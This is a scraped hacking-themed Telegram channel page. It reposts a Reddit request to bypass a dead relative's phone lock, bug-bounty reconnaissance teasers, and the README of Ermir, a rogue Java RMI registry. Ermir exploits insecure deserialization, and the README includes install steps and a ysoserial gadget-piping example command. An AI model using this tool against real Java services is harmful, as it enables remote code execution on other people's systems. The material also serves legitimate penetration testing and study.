Hacking Articles Tips Tricks Videos Tutorials
470 subscribers
66.1K photos
15 videos
157 files
133K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
hacking: security in practice
Dead loved ones locked phone

My dead relative has a android phone with a bunch of photos on it.

It never had a backup account to reset and will delete all data after 2 more attempts.

How can I bypass the lock?

Thank you.

submitted by /u/AS_Protocol_BGP
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
10 Minute Bug Bounties: OSINT With Google Dorking, Censys, and Shodan

TL;DR- One of the simplest and surprisingly paid bounties out there. This post is great for any bug-hunter who’s just starting out, or…Continue reading on Medium »
Read more...
5 mistakes to avoid on the bug bounty program

Improve your testing accuracy and get the most out of your findingsContinue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Ermir : An Evil Java RMI Registry

Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it (list()/lookup()/bind()/rebind()/unbind()). Requirements* Ruby v3 or newer. InstallationInstall Ermir from rubygems.org:
$ gem install ermir
or clone the repo and build the gem:
$ git clone https://github.com/hakivvi/ermir.git
$ rake install UsageErmir is a cli gem, it comes with 2 cli files ermirand gadgetmarshal, ermiris the actual gem and the latter is just a pretty interface to GadgetMarshaller.java file which rewrites the gadgets of Ysoserial to match MarshalInputStreamrequirements, the output should be then piped into ermiror a file, in case of custom gadgets use MarshalOutputStreaminstead of ObjectOutputStreamto write your serialized object to the output stream. ermirusage:
➜ ~ ermir
Ermir by @hakivvi * https://github.com/hakivvi/ermir.
Info:
Ermir is a Rogue/Evil RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it.
Usage: ermir [options]
-l, --listen bind the RMI Registry to this ip and port (default: 0.0.0.0:1099).
-f, --file path to file containing the gadget to be deserialized.
-p, --pipe read the serialized gadget from the standard input stream.
-v, --version print Ermir version.
-h, --help print options help.
Example:
$ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe gadgetmarshalusage:
➜ ~ gadgetmarshal
Usage: gadgetmarshal /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file How does it work?java.rmi.registry.Registryoffers 5 methods: list(), lookup(), bind(), rebind(), unbind():

* public Remote lookup(String name): lookup() searches for a bound object in the registry by its name, the registry returns a Remoteobject which references the remote object that was looked up, the returned object is read using MarshalInputStream.readObject()which is just another layer on top of ObjectInputStream, basically it excpects after each class/proxy descriptor (TC_CLASSDESC/TC_PROXYCLASSDESC) an URL that will be used to load this class or proxy class. this is the same wild bug that was fixed in jdk7u21. (Ermir does not specify this URL as only old Java version are vulnerable, instead it just write null). as Ysoserial gadgets are being serialized using ObjectOutputStream, Ermir uses gadgetmarshal-a wrapper around GadgetMarshaller.java– to serialize the specified gagdet to match MarshalInputStreamrequirements.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdaOHO1_sEgsxh-KFwFL69Z18F-43bHQl9NJJI8ujN_su2HYCrZ0b0Xb7DgyUzY481Bx-X_sYOdSwkYAHgrryYAWAVFyBMmWzOYMByT7KKAcVc-IHfeZ4zNzhVNPLlHQVHRUJhLrTutg_VMc-6_UI-HTIrmawAhz8pvRnDMCwxRBuX7gnp1s74PXTJ/s1115/Ermir.png public String[] list(): list() asks the registry for all the bound objects names, while Stringtype cannot be subsitued with a malicious gadget as it is not like any ordinary object and it is not read using readObject()but rather readUTF(), however as list()returns String[]which is an actual object and it is read using readObject(), Ermir sends the gadget instead of this String[]type.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-3L2H3V6ljJokLR_PQweExmHLi9tXuQo81g3_BY0TR9HJJb6gDhYC1hpUCrlJ59MIb4U-95c0FdL2hlakFGrRJYC2LnHye7xxpcA9pWyVPSHZXAL6RQxVkfSZLyfjXzIpCAqMBFx_Ty5lNt6DN8tglZ_Pzmgs6i1TIl0AnYCd[...]

___________________________
@hacking_Attack
@Hacking_Video